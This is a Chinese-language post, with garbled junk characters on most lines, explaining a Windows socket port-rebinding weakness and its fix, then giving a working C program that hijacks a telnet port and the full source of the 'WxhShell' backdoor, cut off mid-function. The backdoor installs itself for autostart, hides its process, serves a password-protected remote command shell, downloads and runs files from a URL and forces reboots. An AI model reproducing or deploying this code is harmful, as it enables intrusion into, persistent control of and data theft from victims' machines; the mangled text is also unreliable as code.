在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
orEwP/L: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
#;2Ju'e#z F)
< f8F saddr.sin_family = AF_INET;
=V%s^ aBol9`6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
u["Pg
[T !#s bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Q9?/)&3Bu A1Rt 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:`oYD +9,"ne1'e 这意味着什么?意味着可以进行如下的攻击:
&LHQ)? m
{wMzsQ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
obS|wTG~ iK'bV<V&7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
\q%li) H@5:x8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3 uhwoE wrw~J 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
s+o/:rrxY zj"J~s;? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
D.U)R7( B9Y "J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
JdFMSmZ@ 9LzQp`In 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
lhJT& c,4UnEoCR #include
MS><7lk- #include
ysDfp'C, #include
3*XX@>|o #include
@dD70T DWORD WINAPI ClientThread(LPVOID lpParam);
UPUO8W)<Z6 int main()
="<+^$7:k {
)!){4c/ WORD wVersionRequested;
sf7'8+wj> DWORD ret;
!,INrl[ WSADATA wsaData;
d;V BOOL val;
RcMW%q$dG SOCKADDR_IN saddr;
YD7i6A SOCKADDR_IN scaddr;
q"`1cFD int err;
8X[G)J; SOCKET s;
vvFXdHP SOCKET sc;
Kh'/Ne? int caddsize;
5;C+K~Y HANDLE mt;
jsfyNl?6 DWORD tid;
l+y/ Mq^QB wVersionRequested = MAKEWORD( 2, 2 );
:Y~fPke err = WSAStartup( wVersionRequested, &wsaData );
Y(W>([59 if ( err != 0 ) {
RY&Wvkjh printf("error!WSAStartup failed!\n");
8%>
Ls return -1;
O=u.PRNT8 }
@T>)fKCg saddr.sin_family = AF_INET;
>mi%L3Pk wp$CJ09f* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
lMF j"x\ buG0#: saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
"JKrbgN@;L saddr.sin_port = htons(23);
ko$bCG% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
eHm! {
F=$2Gz
'RT printf("error!socket failed!\n");
91}QuYv/_ return -1;
gO1`zP!9Z }
_
B",? } val = TRUE;
(]vHW+' //SO_REUSEADDR选项就是可以实现端口重绑定的
v-2.OS<o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)9{?C4NQ {
{&,a)h7& printf("error!setsockopt failed!\n");
>}43MxU? return -1;
Qte=<Z) }
\y"!`.E7\d //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
K({+3vK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
/`?i&\C3r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?&pjP,a ]?/[& PP, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
8L9xP'[^ {
HBV~`0O$ ret=GetLastError();
a
UAPh printf("error!bind failed!\n");
sq*d?<:3 return -1;
Ng0V&oDI }
K q: +{' listen(s,2);
H&6lQ30/) while(1)
t8E'd:pE {
n,bZj<3t caddsize = sizeof(scaddr);
Gdi1lYu6V //接受连接请求
IM7k\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
m .le' & if(sc!=INVALID_SOCKET)
:L&- {
LoPWho[8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
S%R:GZEf_ if(mt==NULL)
xT#j-T {
%j^[%&pT printf("Thread Creat Failed!\n");
=Bu d! break;
-A[iTI" }
v@&&5J| }
ijw'7d|, CloseHandle(mt);
[^A 93F }
oIAP dn closesocket(s);
xbxU`2/ WSACleanup();
q]`XUGC return 0;
F'|D }
1b-4wonQd DWORD WINAPI ClientThread(LPVOID lpParam)
%AF~Ki {
#(?EL@5 SOCKET ss = (SOCKET)lpParam;
XuVbi=pN.2 SOCKET sc;
%($sj|_l unsigned char buf[4096];
W+ Z]
Y SOCKADDR_IN saddr;
.fk!~8b[Q+ long num;
Ha)eeE$ DWORD val;
6(f[<V!r DWORD ret;
UW8b(b[-6b //如果是隐藏端口应用的话,可以在此处加一些判断
G sm5L<rx //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
V)^nVD)e saddr.sin_family = AF_INET;
wBTnI>l9[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
{k-GWYFA saddr.sin_port = htons(23);
LZqx6~]O if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
GE\@mu *pO {
k$9oUE, printf("error!socket failed!\n");
!rlN|HB return -1;
BXiuVx }
7N+No.vR. val = 100;
uZ&,tH/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Y4YA1F {
8B"jvrs ret = GetLastError();
=1!wep" return -1;
N5Eb.a9S }
qhRs5QXL if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
WJ9Jj69 {
ff**) Xdh ret = GetLastError();
7[[XNJP return -1;
S^]i }
Z,.*!S=?h if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N1jj\.nB {
%u-l6<w#R printf("error!socket connect failed!\n");
FZ
DC? closesocket(sc);
nzmv>s&UW closesocket(ss);
LNmsv U return -1;
v[T5D: }
3ybEQp9 while(1)
RAxAy{ {
#qi@I;;t //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
m2AA:u_*j //如果是嗅探内容的话,可以再此处进行内容分析和记录
H1N_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
hs}nI/# num = recv(ss,buf,4096,0);
V/j+Z1ZW if(num>0)
Af pB=3 send(sc,buf,num,0);
E)|fKds
else if(num==0)
}Y~o =3- break;
]i3 2-8% num = recv(sc,buf,4096,0);
@]":3 if(num>0)
US 9cuah1/ send(ss,buf,num,0);
[~,~ e
else if(num==0)
3rhH0{ break;
V7.xKmB }
i|0H {q closesocket(ss);
2u4aCfIx closesocket(sc);
CS"2Sd 1` return 0 ;
5 5>^H1M }
@[D-2s Gdq _T* f7mP4[+dS ==========================================================
"15mOW(!+ qP-* 下边附上一个代码,,WXhSHELL
Ouc=4'$- K]yCt~A$ ==========================================================
W!
v8'T H.qp~-n #include "stdafx.h"
=ltT6of@o ]e@'9`G-' #include <stdio.h>
)=V0 #include <string.h>
$rD&rsx6 #include <windows.h>
7 [N1Vr(1 #include <winsock2.h>
Zmw'.hL #include <winsvc.h>
+FRXTku( #include <urlmon.h>
pPem;i^~ WBLfxr #pragma comment (lib, "Ws2_32.lib")
D|}
y{~ #pragma comment (lib, "urlmon.lib")
SE&J)Sj] S-Mn #define MAX_USER 100 // 最大客户端连接数
kaQn'5 #define BUF_SOCK 200 // sock buffer
RR>Q$K #define KEY_BUFF 255 // 输入 buffer
8*V^DM3n- c7.%Bn, #define REBOOT 0 // 重启
}A;J-7g6 #define SHUTDOWN 1 // 关机
|f;u5r!^= Xs$k6C3 #define DEF_PORT 5000 // 监听端口
]f=108|8 ^5x\cR #define REG_LEN 16 // 注册表键长度
A6YkoYgC #define SVC_LEN 80 // NT服务名长度
Wg9q_Ql 1nhC! jDD // 从dll定义API
4zX@TI>j typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
*6=2UJcJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
hdJW#,xq typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
/MKcS%/H/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
V\r!H>
WQv%57+
// wxhshell配置信息
i9+(gX(t struct WSCFG {
eSHyA+F int ws_port; // 监听端口
A
q;]al char ws_passstr[REG_LEN]; // 口令
3QM6M9M int ws_autoins; // 安装标记, 1=yes 0=no
yPL1(i; char ws_regname[REG_LEN]; // 注册表键名
i7v> 9p7 char ws_svcname[REG_LEN]; // 服务名
BR*,E~% char ws_svcdisp[SVC_LEN]; // 服务显示名
l?LwQmq6 char ws_svcdesc[SVC_LEN]; // 服务描述信息
o Y{L0B[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
42kr&UY& int ws_downexe; // 下载执行标记, 1=yes 0=no
|{udd~oE& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
gZF-zhnC char ws_filenam[SVC_LEN]; // 下载后保存的文件名
GawQ~rD tP8>0\$) };
t$m~O?I J@ZIW%5 // default Wxhshell configuration
" )T;3/c struct WSCFG wscfg={DEF_PORT,
LK5,GWF; "xuhuanlingzhe",
'M+iw:R__ 1,
b"n0Yk1 "Wxhshell",
H`|8x4 "Wxhshell",
{Hg.ctam "WxhShell Service",
bim}{wMb "Wrsky Windows CmdShell Service",
97;`R[^J "Please Input Your Password: ",
~{lSc/SP| 1,
feSd% "
http://www.wrsky.com/wxhshell.exe",
KvW{M "Wxhshell.exe"
E0]B=- };
Y3^UJe7E p(o"K@I // 消息定义模块
@."_XL74 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
PoTJ4z char *msg_ws_prompt="\n\r? for help\n\r#>";
6wK>SW)#&j char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
mDZ/Kp{ char *msg_ws_ext="\n\rExit.";
L,6v!9@ char *msg_ws_end="\n\rQuit.";
Hy}oSy26 char *msg_ws_boot="\n\rReboot...";
30 e>C char *msg_ws_poff="\n\rShutdown...";
VJquB8?H
char *msg_ws_down="\n\rSave to ";
BnJpC<xm r/o1a't; char *msg_ws_err="\n\rErr!";
IJ >qs8 char *msg_ws_ok="\n\rOK!";
R"%zmA@o= NH+?7rf8 char ExeFile[MAX_PATH];
}n /6.% int nUser = 0;
sI>I HANDLE handles[MAX_USER];
&f48MtE int OsIsNt;
KCEBJ{jM s?r:McF` SERVICE_STATUS serviceStatus;
W
!TnS/O_1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
,`kag~bZ =Ts2a"n // 函数声明
J?9K|4
) int Install(void);
mAO$gHQ int Uninstall(void);
g{0a]'ph int DownloadFile(char *sURL, SOCKET wsh);
H&0dc.n~. int Boot(int flag);
KWwEK] void HideProc(void);
2:b3+{\f int GetOsVer(void);
2ZUI~:U Z int Wxhshell(SOCKET wsl);
jD]Ci#|W void TalkWithClient(void *cs);
eQK}J]S< int CmdShell(SOCKET sock);
Z',Z7QW7 int StartFromService(void);
hc#LniR3$ int StartWxhshell(LPSTR lpCmdLine);
o3C7JG REqQJ7a/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
NPc@;g]d" VOID WINAPI NTServiceHandler( DWORD fdwControl );
mmSC0F #yPQt! // 数据结构和表定义
:De@_m SERVICE_TABLE_ENTRY DispatchTable[] =
}XHB7, {
!j8.JP}!) {wscfg.ws_svcname, NTServiceMain},
V
,#
|\ {NULL, NULL}
]/31@RT };
rvPY Wgp}v93 // 自我安装
\piB*"ln int Install(void)
VS.~gHx {
Jkf%k3H3I* char svExeFile[MAX_PATH];
H{ yUKZH* HKEY key;
Y
1v9sMN, strcpy(svExeFile,ExeFile);
jd>ug=~x f7&53yZF // 如果是win9x系统,修改注册表设为自启动
5D9n>K4| if(!OsIsNt) {
yE+Wb[H[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`4GEq2% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^LAP*R RegCloseKey(key);
lQ5d.}O& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
YF)uAJ Ak RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
barY13)$U RegCloseKey(key);
$qndG,([F return 0;
)I&,kH)+ }
YCMXF#1 }
;iB9\p$K) }
[2~^~K else {
d `eX_] Z UYLCzv~W // 如果是NT以上系统,安装为系统服务
{Sl#z}@s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,Q%q!#@
if (schSCManager!=0)
ML:Zm~A1U {
/2s=;tA1 SC_HANDLE schService = CreateService
Hsdcv~Xr;l (
19#s:nt9 schSCManager,
.{\lbI wscfg.ws_svcname,
oh^/)2W wscfg.ws_svcdisp,
ORCG(N SERVICE_ALL_ACCESS,
3rdrNc SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
;,WI_iP(w SERVICE_AUTO_START,
O%Hc%EfG SERVICE_ERROR_NORMAL,
MP
LgE.n svExeFile,
FqWW[Bgd NULL,
d+m}Z>iQ1O NULL,
}Mv$Up NULL,
P]A~:Lj NULL,
+Oxw?`I$ NULL
5u5-:#sLy );
'}$]V>/ if (schService!=0)
4`X]$. {
b7uxCH]Z
CloseServiceHandle(schService);
4LY$;J;2 CloseServiceHandle(schSCManager);
;xXD2{q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
":I@>t{H* strcat(svExeFile,wscfg.ws_svcname);
R(t1Ei.-? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
$c1zMkY)u RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
\86:f<)P RegCloseKey(key);
2h;#BJ)) return 0;
-f&m4J} E }
A
)q=.C#e }
f)_k_ < CloseServiceHandle(schSCManager);
Ia@!Nr2 }
UM(`Oh8 }
G~ONHXL ._X|Ye9/ return 1;
w/49O;r V }
m=K46i+NE +|K/*VVn` // 自我卸载
[gkOwU=? int Uninstall(void)
U,g)N[| {
/:=,mWoO HKEY key;
.wpp)M.w;H ;t xW\iy%Z if(!OsIsNt) {
px=k&|l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-J&
b~t@ RegDeleteValue(key,wscfg.ws_regname);
Dug{)h_2 RegCloseKey(key);
AqZ()p*z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4 (>8tP\Y RegDeleteValue(key,wscfg.ws_regname);
xRrKrs &eE RegCloseKey(key);
^D]y<@01 return 0;
EYy|JT]B }
}i F|NIV }
oC
} }
i6-&$< else {
vEZd;40y XS_Ib\-50 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}C'h<%[P if (schSCManager!=0)
0l'"idra {
ugy:^U SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
qDK\MQ! if (schService!=0)
cx_$`H {
p!o+8Xz5 if(DeleteService(schService)!=0) {
D/`b~Yl CloseServiceHandle(schService);
P3_&( CloseServiceHandle(schSCManager);
CkeqK return 0;
lHc|:vG? }
1i=p5,| CloseServiceHandle(schService);
p5V.O20 }
']^_W0?= CloseServiceHandle(schSCManager);
.t9*wz }
":vF[6K6 }
Cj10?BNV) 8h{;*Wr- return 1;
%7SGQE#W_~ }
s $?u'}G3 i}_d&.DbF // 从指定url下载文件
=vD}O@tN int DownloadFile(char *sURL, SOCKET wsh)
aSMSuX8 {
3;er.SFu{ HRESULT hr;
+rOfQ'lQ char seps[]= "/";
btDPP k' char *token;
q+1SU6x'm char *file;
0N`'a?x char myURL[MAX_PATH];
cHw-; char myFILE[MAX_PATH];
nK>D& S_! s g6e%
5 strcpy(myURL,sURL);
hNL_e3 token=strtok(myURL,seps);
Wg[ThaZ while(token!=NULL)
ZK?:w^Z {
,/Yo1@U file=token;
Lv<)Dur0K token=strtok(NULL,seps);
_n12Wx{ }
FX&)~) lfe^_`ij(+ GetCurrentDirectory(MAX_PATH,myFILE);
e)Pm{:E strcat(myFILE, "\\");
'l41];_ strcat(myFILE, file);
Vd+5an? send(wsh,myFILE,strlen(myFILE),0);
&^JYIRn1\ send(wsh,"...",3,0);
ibxtrt= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
yiAusl; if(hr==S_OK)
Zoyo:vv& return 0;
12 S[m~L% else
&Tn7 return 1;
40Z/;,wp{ *rmwTD" }
U\`yLsKvH` uTIl} N // 系统电源模块
tg%C>O int Boot(int flag)
nTH!_S>b(Y {
InfUH8./t HANDLE hToken;
Yvxp( TOKEN_PRIVILEGES tkp;
tbq_Rg7s >YP]IQ if(OsIsNt) {
&k0c|q] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
~\~XD+jy" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*h Bo,
tkp.PrivilegeCount = 1;
d
A' h7D tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
L}.V`v{zc AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:taRCh5 if(flag==REBOOT) {
[.*o<
KP if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
/u N3"m5i return 0;
7).zed^ }
SPY4l*kX else {
f')3~)" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
K}YOs. return 0;
?Ulc`-d }
)`gE-udR }
#^;^_ else {
8-
]7>2?_ if(flag==REBOOT) {
WA 79(B if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
G)wIxm$?0 return 0;
"K$
y(}C }
gKay3}w else {
`@r#o& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
zV=(e( [ return 0;
h|
+( }
;3k6_ub }
C%+>uzVIw `Ao;xOJ return 1;
"yV)&4) }
$N`uM ?FRQ!R // win9x进程隐藏模块
9,;+B8-A void HideProc(void)
R@H}n3, {
~*Ir\wE NurbioFL HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
j[o5fr)L if ( hKernel != NULL )
q;a#?Du o {
J"dp?i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ALY%
h!L ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
c&T14!lfn FreeLibrary(hKernel);
|~3$L\X }
Q`X5W m%?b"kxL[ return;
|Zo_x}0 }
C'$}!p70 B(%bBhs // 获取操作系统版本
4D\+_Ic3 int GetOsVer(void)
,Uv8[ci%9 {
xuDn: OSVERSIONINFO winfo;
e`Z3{H} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
H9Pe,eHs GetVersionEx(&winfo);
1yIo'i1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6uH1dsD return 1;
pY9>z;qD else
o )
FjWf; return 0;
_\Cd. }
y|+ltA K T\h_8 // 客户端句柄模块
v1j]&3O int Wxhshell(SOCKET wsl)
xR,;^R|C {
'D4KaM.d SOCKET wsh;
SEXLi8;/ struct sockaddr_in client;
/@bLc1" DWORD myID;
~Zd n#z\ d4P0f'.z while(nUser<MAX_USER)
5}4MXI4 {
TIa`cU` int nSize=sizeof(client);
ptmPO4f wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
\'L6m1UZ% if(wsh==INVALID_SOCKET) return 1;
Q nqU!6k@ +C)auzY7N handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_u :4y4} if(handles[nUser]==0)
3&@MZF& closesocket(wsh);
s
`r tr else
]&ptld; nUser++;
N2_ =^s7 }
m~Dq0 T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
NOa.K)^k NB&u^8b return 0;
| We @p }
e-os0F 1*x4T%RF$ // 关闭 socket
H\3CvFm void CloseIt(SOCKET wsh)
m(3bO[u1 {
t747SZWgB closesocket(wsh);
NwG&uc+Q nUser--;
9CWUhS
ExitThread(0);
ytmlG% }
1*r{%6 w
I@
lO\ // 客户端请求句柄
[21tT/ void TalkWithClient(void *cs)
Iq\sf-1E {
XY|-qd}A b['TRYc=: SOCKET wsh=(SOCKET)cs;
):+H`Hcm char pwd[SVC_LEN];
k-
sbZL char cmd[KEY_BUFF];
" I@Z:[=2 char chr[1];
V]PTAhc int i,j;
M{7EFTy!y _pNUI{De while (nUser < MAX_USER) {
`z3?ET kx1-.~)p(z if(wscfg.ws_passstr) {
Y#6@0Nn[G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^ D
B0C //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T"Q4vk,3*J //ZeroMemory(pwd,KEY_BUFF);
YS{ i=0;
,oP-:q!PC while(i<SVC_LEN) {
^%d+nKx9nL 3a{QkVeV7 // 设置超时
hP,1;`[1 fd_set FdRead;
wrn[q{dX struct timeval TimeOut;
h3p 3~xq FD_ZERO(&FdRead);
"eQ9 6^'J FD_SET(wsh,&FdRead);
fINM$ 6 TimeOut.tv_sec=8;
cx2s|@u0 TimeOut.tv_usec=0;
$Y,]D*|"K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
$vy.BYFm if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
^B& Z U)p2PTfB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
{djOU
9] pwd
=chr[0]; oT|E\wj
if(chr[0]==0xd || chr[0]==0xa) { u(ZS sftat
pwd=0; XpH[SRUx
break; de1&
} i}<R>]S
i++; s !8]CV>
} nfDPM\FFD
+n MgQOs
// 如果是非法用户,关闭 socket #K*d:W3C
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w.l#Z} k
} G)4 3Y!
CaBTqo
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ooZ7HTP|
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $zmES tcm
v,|;uc+
while(1) { FcW ?([l
\k1Wh-3
ZeroMemory(cmd,KEY_BUFF); Gcs+@7!b
~82jL%-u
// 自动支持客户端 telnet标准 (rwbF
j=0; +Kq>r|;
while(j<KEY_BUFF) { h'-TZXs0e1
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g>im2AD+e
cmd[j]=chr[0]; ^1cqx]>E
if(chr[0]==0xa || chr[0]==0xd) { Z^fF^3x
cmd[j]=0; ~+lC%R
break; e-}PJ%!,T
} N%B#f\N
j++; 8:&@MZQ&!
} Zo0&<QWj
,XA;S5FE
// 下载文件 Ew;<iY[
if(strstr(cmd,"http://")) { )%tf,3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); s*l_O*$'
if(DownloadFile(cmd,wsh)) 2s{yg%U(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R9CAw>s
else Ew:JpMR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XbH X,W$h
} `z=MI66Nl
else { a|7V{pp=M
+u=xBhZ
switch(cmd[0]) { K5.C*|w
iuHG9 #n
// 帮助 |\_O8=B%
case '?': { 7>ODaj
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zIo))L
break; mtOrb9`m
} nlY ^
// 安装 W;-Qze\D
case 'i': { u%h<5WNh<
if(Install()) @s
IZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Cb(4h-
else q$t& *O_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hsE!3[[
break; }]s~L9_z['
} W.67, 0m$
// 卸载 ^2??]R&Q
case 'r': { Xl aNR+
if(Uninstall()) ]52_p[hZ}<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lT:<ZQyjT
else rzTyHK[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r=w%"3vb^
break; 7]v-2
*
} wM&G-~9ujk
// 显示 wxhshell 所在路径 +.R-a+y3
case 'p': { 8EE7mEmLH
char svExeFile[MAX_PATH]; 3Q ]MT
strcpy(svExeFile,"\n\r"); Yr31GJ}K
strcat(svExeFile,ExeFile); SUVr&S6Nk
send(wsh,svExeFile,strlen(svExeFile),0); ~T-.k
7t
break; ji8Rd"S
} f/c}XCH_h
// 重启 |(V%(_s
case 'b': { eP2 y U
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {Y@[hoHtF
if(Boot(REBOOT)) {'ZnxK'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o&AUB`.9~
else { A|&EI-In
closesocket(wsh); VC+\RB#:-
ExitThread(0); 14&EdTG.
} )3
r1; ^W
break; UF{2Gx
} :qZ^<3+:
// 关机 drZw#b
case 'd': { f*5"Jh@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9BY b{<0tS
if(Boot(SHUTDOWN)) UB1/FM4~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H{XW?O^@
else { <h}?0NA4
closesocket(wsh); 4Oy
c D
ExitThread(0); _YJw F1e+M
} vLke,MKW
break; fU}w81oe
} kp$ILZ
// 获取shell #X8[g _d/
case 's': { ?~K2&eo
CmdShell(wsh); :U*[s$
closesocket(wsh); fr?eOigbl
ExitThread(0); C[pDPx,#:G
break; MQ+ek4
} 3edAI&a5
// 退出 Iu[EUi!"
case 'x': { gvJJ.IX]+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6:!fyia
CloseIt(wsh); pE<' '`
break; F,zJdJ
} O92Y d$S
// 离开 !+6l.`2WI
case 'q': { 9N29dp>g{{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;E&XFTdO
closesocket(wsh); 6vA5L_
WSACleanup(); yR!>80$j
exit(1); R3PhKdQ"
break; +{I\r|
} Q.\>+4]1&&
} QD<4(@c5|
} 6)$_2G%Zq
<H)@vW]_
// 提示信息 {2x5
V#6
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B<R-|-#
} a#IJ<^[8
} kC0!`$<2f)
8if"U xV(
return; v(^rq
} ,54<U~Lg:
Wg%-m%7O
// shell模块句柄 GN<I|mGLJK
int CmdShell(SOCKET sock) 8zCAy@u
{ hF~B&^dd.
STARTUPINFO si; ]| yH8 m
ZeroMemory(&si,sizeof(si)); rA`\we)
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ZU(bEUOG
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hLvv:C@
PROCESS_INFORMATION ProcessInfo; Vk (bU=w
char cmdline[]="cmd"; 5dF=DCZ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,7(/Il9
return 0; `O{Uz?#*x
} <@A^C$g
"!tB";n
// 自身启动模式 3$8}%?i
int StartFromService(void) ="DgrH
{ f#~Re:7.c
typedef struct ge[i&,.&z
{ 7N"Bbl
DWORD ExitStatus; .;2!c'mT9
DWORD PebBaseAddress; IT(c'}
DWORD AffinityMask; t}7wRTG
DWORD BasePriority; DR /)hAE
